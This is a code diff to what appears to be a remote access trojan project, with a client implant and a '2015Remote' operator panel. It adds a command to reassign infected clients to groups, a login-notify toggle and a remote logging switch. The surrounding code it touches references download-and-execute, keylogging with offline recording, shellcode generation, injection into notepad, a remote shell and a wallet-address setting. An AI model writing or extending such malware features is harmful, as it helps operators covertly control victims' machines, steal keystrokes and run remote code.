diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 49e1278..26fc101 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -489,6 +489,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) std::string publicIP = m_ClientObject->GetClientIP(); switch (szBuffer[0]) { + case CMD_SET_GROUP:{ + std::string group = std::string((char*)szBuffer + 1); + iniFile cfg(CLIENT_PATH); + cfg.SetStr("settings", "group_name", group); + break; + } + case COMMAND_DOWN_EXEC: { std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach(); @@ -708,6 +715,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user; mgr->m_bIsOfflineRecord = TRUE; } + Logger::getInstance().usingLog(m_settings.EnableLog); } break; case COMMAND_KEYBOARD: { //键盘记录 diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 0797322..9c7e558 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -288,6 +288,7 @@ uint64_t CalcalateID(const std::vector& clientInfo) { LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn) { + iniFile cfg(CLIENT_PATH); LOGIN_INFOR LoginInfor; LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录 //获得操作系统信息 @@ -301,6 +302,9 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn) dwCPUMHz = CPUClockMHz(); BOOL bWebCamIsExist = WebCamIsExist(); + std::string group = cfg.GetStr("settings", "group_name"); + if (!group.empty()) + strcpy_s(conn.szGroupName, group.c_str()); if (conn.szGroupName[0] == 0) memcpy(LoginInfor.szPCName, szPCName, sizeof(LoginInfor.szPCName)); else @@ -317,7 +321,6 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn) GetModuleFileNameA(NULL, buf, sizeof(buf)); LoginInfor.AddReserved(buf); // 文件路径 LoginInfor.AddReserved("?"); // test - iniFile cfg(CLIENT_PATH); std::string installTime = cfg.GetStr("settings", "install_time"); if (installTime.empty()) { installTime = ToPekingTimeAsString(nullptr); diff --git a/common/commands.h b/common/commands.h index 7fc8a5e..47ba319 100644 --- a/common/commands.h +++ b/common/commands.h @@ -269,6 +269,7 @@ enum { TOKEN_SHELL_DATA = 231, // ն˽ CMD_EXECUTE_DLL = 240, // ִд TOKEN_CLIENT_MSG = 241, // ͻϢ + CMD_SET_GROUP = 242, // ޸ķ }; enum MachineCommand { @@ -890,7 +891,8 @@ typedef struct MasterSettings { int UsingFRPProxy; // ǷʹFRP char WalletAddress[472]; // Wallets int EnableKBLogger; // Since 2025-11-27 - char Reserved[496]; // Since 2025-11-27 + int EnableLog; // Since 2025-12-17 + char Reserved[492]; // Since 2025-11-27 } MasterSettings; #define MasterSettingsOldSize 500 diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 15a5d62..a676895 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 4f389c4..30d1e0a 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -558,6 +558,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray) ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger) ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad) + ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify) + ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog) END_MESSAGE_MAP() @@ -1200,6 +1202,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog() auto w = THIS_CFG.GetStr("settings", "wallet", ""); memcpy(m_settings.WalletAddress, w.c_str(), w.length()); m_settings.EnableKBLogger = THIS_CFG.GetInt("settings", "KeyboardLog", 0); + m_settings.EnableLog = THIS_CFG.GetInt("settings", "EnableLog", 0); CMenu* SubMenu = m_MainMenu.GetSubMenu(2); SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED); std::map myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }}; @@ -3856,7 +3859,18 @@ void CMy2015RemoteDlg::OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult) void CMy2015RemoteDlg::OnOnlineRegroup() { - TODO_NOTICE; + CInputDialog dlg(this); + dlg.Init("修改分组", "请输入分组名称:"); + if (IDOK != dlg.DoModal()||dlg.m_str.IsEmpty()){ + return; + } + if (dlg.m_str.GetLength() >= 24) { + MessageBoxA("分组名称长度不得超过24个字符!", "提示", MB_ICONINFORMATION); + return; + } + BYTE cmd[50] = { CMD_SET_GROUP }; + memcpy(cmd + 1, dlg.m_str, dlg.m_str.GetLength()); + SendSelectedCommand(cmd, sizeof(cmd)); } @@ -4238,3 +4252,23 @@ void CMy2015RemoteDlg::OnOnlineInjNotepad() LeaveCriticalSection(&m_cs); SAFE_DELETE(tinyRun); } + + +void CMy2015RemoteDlg::OnParamLoginNotify() +{ + static BOOL notify = THIS_CFG.GetInt("settings", "LoginNotify", 0); + notify = !notify; + THIS_CFG.SetInt("settings", "LoginNotify", notify); + CMenu* SubMenu = m_MainMenu.GetSubMenu(2); + SubMenu->CheckMenuItem(ID_PARAM_LOGIN_NOTIFY, notify ? MF_CHECKED : MF_UNCHECKED); +} + + +void CMy2015RemoteDlg::OnParamEnableLog() +{ + m_settings.EnableLog = !m_settings.EnableLog; + CMenu* SubMenu = m_MainMenu.GetSubMenu(2); + SubMenu->CheckMenuItem(ID_PARAM_ENABLE_LOG, m_settings.EnableLog ? MF_CHECKED : MF_UNCHECKED); + THIS_CFG.SetInt("settings", "EnableLog", m_settings.EnableLog); + SendMasterSettings(nullptr); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index e5a28a6..24bf3b9 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -378,4 +378,6 @@ public: afx_msg void OnShellcodeAesCArray(); afx_msg void OnParamKblogger(); afx_msg void OnOnlineInjNotepad(); + afx_msg void OnParamLoginNotify(); + afx_msg void OnParamEnableLog(); }; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 2618776..fb41d2b 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ